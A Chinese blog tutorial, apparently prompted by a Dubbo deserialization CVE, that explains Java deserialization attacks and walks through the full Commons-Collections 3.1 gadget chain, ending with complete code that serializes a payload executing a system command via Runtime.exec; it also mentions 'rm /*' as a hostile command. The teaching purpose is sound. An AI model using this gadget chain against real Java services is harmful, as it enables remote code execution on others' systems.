Dubbo 高危漏洞！原來都是反序列化惹得禍

時間 2020-07-10

標籤 dubbo 漏洞原來都是序列惹得欄目 Dubbo 简体版

原文原文鏈接

前言

這周收到外部合做同事推送的一篇文章，【漏洞通告】Apache Dubbo Provider默認反序列化遠程代碼執行漏洞（CVE-2020-1948）通告。php

按照文章披露的漏洞影響範圍，能夠說是當前全部的 Dubbo 的版本都有這個問題。html

無獨有偶，這周在 Github 本身的倉庫上推送幾行改動，不一會就收到 Github 安全提示，警告當前項目存在安全漏洞CVE-2018-10237。java

能夠看到這兩個漏洞都是利用反序列化進行執行惡意代碼，可能不少同窗跟我當初同樣，看到這個一臉懵逼。好端端的反序列化，怎麼就能被惡意利用，用來執行的惡意代碼?git

這篇文章咱們就來聊聊反序列化漏洞，瞭解一下黑客是如何利用這個漏洞進行攻擊。github

先贊後看，養成習慣！微信搜索『程序通事』，關注就完事了！

反序列化漏洞

在瞭解反序列化漏洞以前，首先咱們學習一下兩個基礎知識。macos

Java 運行外部命令

Java 中有一個類 Runtime，咱們可使用這個類執行執行一些外部命令。apache

下面例子中咱們使用 Runtime 運行打開系統的計算器軟件。數組

// 僅適用macos 
Runtime.getRuntime().exec("open -a Calculator ");

有了這個類，惡意代碼就能夠執行外部命令，好比執行一把 rm /*。安全

序列化/反序列化

若是常用 Dubbo，Java 序列化與反序列化應該不會陌生。微信

一個類經過實現 Serializable接口，咱們就能夠將其序列化成二進制數據，進而存儲在文件中，或者使用網絡傳輸。

其餘程序能夠經過網絡接收，或者讀取文件的方式，讀取序列化的數據，而後對其進行反序列化,從而反向獲得相應的類的實例。

下面的例子咱們將 App 的對象進行序列化，而後將數據保存到的文件中。後續再從文件中讀取序列化數據，對其進行反序列化獲得 App 類的對象實例。

public class App implements Serializable {

    private String name;

    private static final long serialVersionUID = 7683681352462061434L;


    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("readObject name is "+name);
        Runtime.getRuntime().exec("open -a Calculator");
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        App app = new App();
        app.name = "程序通事";

        FileOutputStream fos = new FileOutputStream("test.payload");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法將Unsafe對象寫入object文件
        os.writeObject(app);
        os.close();
        //從文件中反序列化obj對象
        FileInputStream fis = new FileInputStream("test.payload");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        App objectFromDisk = (App)ois.readObject();
        System.out.println("main name is "+objectFromDisk.name);
        ois.close();
    }

執行結果：

readObject name is 程序通事
main name is 程序通事

而且成功打開了計算器程序。

當咱們調用 ObjectInputStream#readObject讀取反序列化的數據，若是對象內實現了 readObject方法，這個方法將會被調用。

源碼以下：

反序列化漏洞執行條件

上面的例子中，咱們在 readObject 方法內主動使用Runtime執行外部命令。可是正常的狀況下，咱們確定不會在 readObject寫上述代碼，除非是內鬼￣□￣｜｜

若是能夠找到一個對象，他的readObject方法能夠執行任意代碼，那麼在反序列過程也會執行對應的代碼。咱們只要將知足上述條件的對象序列化以後發送給先相應 Java 程序，Java 程序讀取以後，進行反序列化，就會執行指定的代碼。

爲了使反序列化漏洞成功執行須要知足如下條件：

Java 反序列化應用中須要存在序列化使用的類，否則反序列化時將會拋出 ClassNotFoundException 異常。
Java 反序列化對象的 readObject方法能夠執行任何代碼，沒有任何驗證或者限制。

引用一段網上的反序列化攻擊流程,來源：https://xz.aliyun.com/t/7031

客戶端構造payload(有效載荷)，並進行一層層的封裝，完成最後的exp（exploit-利用代碼）

exp發送到服務端，進入一個服務端自主複寫（也多是也有組件複寫）的readobject函數，它會反序列化恢復咱們構造的exp去造成一個惡意的數據格式exp_1（剝去第一層）

這個惡意數據exp_1在接下來的處理流程(多是在自主複寫的readobject中、也多是在外面的邏輯中)，會執行一個exp_1這個惡意數據類的一個方法，在方法中會根據exp_1的內容進行函處理，從而一層層地剝去（或者說變形、解析）咱們exp_1變成exp_二、exp_3......

最後在一個可執行任意命令的函數中執行最後的payload，完成遠程代碼執行。

Common-Collections

下面咱們以 Common-Collections 的存在反序列化漏洞爲例，來複現反序列化攻擊流程。

首先咱們在應用內引入 Common-Collections 依賴，這裏須要注意，咱們須要引入 3.2.2 版本以前，以後的版本這個漏洞已經被修復。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

PS:下面的代碼只有在 JDK7 環境下執行才能復現這個問題。

首先咱們須要明確，咱們作一系列目的就是爲了讓應用程序成功執行 Runtime.getRuntime().exec("open -a Calculator")。

固然咱們沒辦法讓程序直接運行上述語句，咱們須要藉助其餘類，間接執行。

Common-Collections存在一個 Transformer，能夠將一個對象類型轉爲另外一個對象類型，至關於 Java Stream 中的 map 函數。

Transformer有幾個實現類：

ConstantTransformer
InvokerTransformer
ChainedTransformer

其中 ConstantTransformer用於將對象轉爲一個常量值，例如：

Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("樓下小黑哥");
// 輸出對象爲 程序通事
System.out.println(transform);

InvokerTransformer將會使用反射機制執行指定方法，例如：

Transformer transformer = new InvokerTransformer(
        "append",
        new Class[]{String.class},
        new Object[]{"樓下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射執行了 input.append("樓下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-樓下小黑哥
System.out.println(transform);

ChainedTransformer 須要傳入一個 Transformer[]數組對象，使用責任鏈模式執行的內部 Transformer，例如：

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意對象值");

經過 ChainedTransformer 鏈式執行 ConstantTransformer，InvokerTransformer邏輯，最後咱們成功的運行的 Runtime語句。

不過上述的代碼存在一些問題，Runtime沒有繼承 Serializable接口，咱們沒法將其進行序列化。

若是對其進行序列化程序將會拋出異常：

咱們須要改造以上代碼，使用 Runtime.class 通過一系列的反射執行：

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};

剛接觸這塊的同窗的應該已經看暈了吧，不要緊，我將上面的代碼翻譯一下正常的反射代碼一下：

((Runtime) Runtime.class.
        getMethod("getRuntime", null).
        invoke(null, null)).
        exec("open -a Calculator");

TransformedMap

接下來咱們須要找到相關類，能夠自動調用Transformer內部方法。

Common-Collections內有兩個類將會調用 Transformer：

TransformedMap
LazyMap

下面將會主要介紹 TransformedMap觸發方式，LazyMap觸發方式比較相似，感興趣的同窗能夠研究這個開源庫@ysoserial CommonsCollections1。

Github 地址： https://github.com/frohoff/ys...

TransformedMap 能夠用來對 Map 進行某種變換，底層原理其實是使用傳入的 Transformer 進行轉換。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對 value 進行轉換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會觸發調用 Transformer 內部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
    Map.Entry temp = (Map.Entry) entry;
    if (temp.getKey().equals("a")) {
        // Map.Entry setValue 也會觸發 Transformer 內部方法
        temp.setValue("AAA");
    }
}
System.out.println(decorate);

輸出結果爲：

{b=程序通事, a=程序通事}

AnnotationInvocationHandler

上文中咱們知道了，只要調用 TransformedMap的 put 方法，或者調用 Map.Entry的 setValue方法就能夠觸發咱們設置的 ChainedTransformer，從而觸發 Runtime 執行外部命令。

如今咱們就須要找到一個可序列化的類，這個類正好實現了 readObject，且正好能夠調用 Map put 的方法或者調用 Map.Entry的 setValue。

Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler，正好知足上述的條件。這個類構造函數能夠設置一個 Map 變量，這下恰好能夠把上面的 TransformedMap 設置進去。

不過不要高興的太早，這個類沒有 public 修飾符，默認只有同一個包纔可使用。

不過這點難度，跟上面一比，還真是輕鬆，咱們能夠經過反射獲取從而獲取這個類的實例。

示例代碼以下：

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個註解
Object instance = ctor.newInstance(Target.class, exMap);

完整的序列化漏洞示例代碼以下：

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);

Map<String, String> tempMap = new HashMap<>();
// tempMap 不能爲空
tempMap.put("value", "you");

Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);



Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個註解
Object instance = ctor.newInstance(Target.class, exMap);


File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 觸發代碼執行
Object newObj = ois.readObject();
ois.close();

上面代碼中須要注意，tempMap須要必定不能爲空，且 key 必定要是 value。那可能有的同窗爲何必定要這樣設置？

tempMap不能爲空的緣由是由於 readObject 方法內須要遍歷內部 Map.Entry.

~~至於第二個問題，別問，問就是玄學~~~好吧，我也沒研究清楚--，有了解的小夥伴的留言一下。

最後總結一下這個反序列化漏洞代碼執行鏈路以下：